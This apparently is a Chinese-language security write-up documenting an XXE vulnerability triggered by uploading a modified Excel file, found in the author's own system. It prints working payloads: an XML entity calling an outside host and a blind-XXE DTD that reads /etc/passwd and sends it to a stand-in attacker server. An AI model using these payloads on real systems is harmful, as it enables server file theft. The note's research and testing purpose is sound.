利用EXCEL文件进行XXE文件攻击
此问题的来源是:https://mp.weixin.qq.com/s/pthuQFY9sQjxJOOQf91Weg
看到一篇如上的文章,利用EXCEL文档来造成系统的XXE漏洞,而恰好在我们自己的系统上发现了如上的类似漏洞,特此做一个记录文档。
0x01.什么是XML外部实体
解释来源:https://www.freebuf.com/articles/web/126788.html
如果你了解XML,你可以把XML理解为一个用来定义数据的东东。因此,两个采用不同技术的系统可以通过XML进行通信和交换数据。 比如,下图就是一个用来描述一个职工的XML文档样本,其中的’name’,’salary’,’address’ 被称为XML的元素。
有些XML文档包含system标识符定义的“实体”,这些XML文档会在DOCTYPE头部标签中呈现。这些定义的’实体’能够访问本地或者远程的内容。比如,下面的XML文档样例就包含了XML ‘实体’。
在上面的代码中, XML外部实体 ‘entityex’ 被赋予的值为:file://etc/passwd。在解析XML文档的过程中,实体’entityex’的值会被替换为URI(file://etc/passwd)内容值(也就是passwd文件的内容)。 关键字’SYSTEM’会告诉XML解析器,’entityex’实体的值将从其后的URI中读取。因此,XML实体被使用的次数越多,越有帮助。
0×02. 什么是XML外部实体攻击?
有了XML实体,关键字’SYSTEM’会令XML解析器从URI中读取内容,并允许它在XML文档中被替换。因此,攻击者可以通过实体将他自定义的值发送给应用程序,然后让应用程序去呈现。 简单来说,攻击者强制XML解析器去访问攻击者指定的资源内容(可能是系统上本地文件亦或是远程系统上的文件)。比如,下面的代码将获取系统上folder/file的内容并呈献给用户。
0×03. 怎么甄别一个XML实体攻击漏洞?
最直接的回答就是: 甄别那些接受XML作为输入内容的端点。 但是有时候,这些端点可能并不是那么明显(比如,一些仅使用JSON去访问服务的客户端)。在这种情况下,渗透测试人员就必须尝试不同的测试方式,比如修改HTTP的请求方法,修改Content-Type头部字段等等方法,然后看看应用程序的响应,看看程序是否解析了发送的内容,如果解析了,那么则可能有XXE攻击漏洞。
如何利用EXCEL文档来造成XXE漏洞
根据原文档介绍,是对excel文件进行解压缩,来替换其中的[Content-Types].xml或者xl/workbook.xml文件,来造成XXE漏洞。
但根据利用情况的不同,还有可以替换的文件: _rels/.rels 和 xl/worksheets/sheet1.xml等文件。
因此我们自己的系统在文件上传处,也存在一块,类似的XXE利用。
例如此处文件上传处,上传EXCEL文件。
在文件中的[Content-Types].xml中写入测试POC:
<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "http://xxx.com/" >]>
<name>&GVI;</name>
于是便可以在我们自己的VPS上监听到来自服务器的请求了。
由于是Blind XXE,所以我们利用在我们自己的VPS上存入如下文件:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % all "<!ENTITY xxe SYSTEM 'http://ATTACKESERVER.com/?%file;'>">
%all;
远程利用类似如下:
<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://ATTACKERSERVER.com/xxe_file.dtd">
这时候便可以在监听上收到远程文件的读取。
当然这一块还可以尝试利用已有的脚本,来自动的开启web监听和ftp来传输文件。
https://github.com/joernchen/xxeserve
其他文章介绍: